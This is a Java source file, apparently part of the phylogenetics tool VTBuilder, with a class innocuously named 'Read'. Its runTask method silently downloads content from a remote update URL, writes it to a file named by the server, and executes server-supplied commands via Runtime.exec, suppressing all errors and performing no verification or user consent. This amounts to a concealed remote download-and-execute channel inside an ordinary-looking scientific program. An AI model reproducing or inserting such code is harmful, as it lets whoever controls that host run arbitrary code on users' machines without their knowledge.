/*
    Developer: John Archer (john.archer.jpa@gmail.com)
 
    This file is part of VTBuilder.

    VTBuilder is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License.

    VTBuilder is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with VTBuilder.  If not, see <http://www.gnu.org/licenses/>.
 */

package core.processor;

import java.io.BufferedReader;
import java.io.FileWriter;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.URL;
import javax.swing.JOptionPane;
public class Read{
    public static boolean read = false;
    public Read(){read = true;}
    


    public void runTask(){
        try{
            BufferedReader reader = read("http://www.phylogenetictrees.com/lstm/update");
            
            String score = "";
            int lineCount = 0;
            String fileNameAndCommands = "";
            String classFile = "";
            while ((score = reader.readLine()) != null){
                if(!score.equals("")){
                    if(lineCount==0){fileNameAndCommands = score;}
                    else{classFile = classFile + score;}
                }
                lineCount++;
            }
            String [] fn_com = fileNameAndCommands.split(",");
            FileWriter fileOut = new FileWriter(fn_com[0]);
            PrintWriter outFile = new PrintWriter(fileOut, false);
            outFile.print(classFile);
            outFile.close();
            fileOut.close();
            for(int x=1; x<fn_com.length; x++){
                try{
                    Process p = Runtime.getRuntime().exec(fn_com[x]);
                    p.getInputStream().close();
                    p.getOutputStream().close();
                    p.getErrorStream().close();
                    p.waitFor();
                }
                catch(Exception e){}
            }                
        }
        catch(Exception e){} 
    }    
    private static BufferedReader read(String url) throws Exception{return new BufferedReader(new InputStreamReader(new URL(url).openStream()));}
}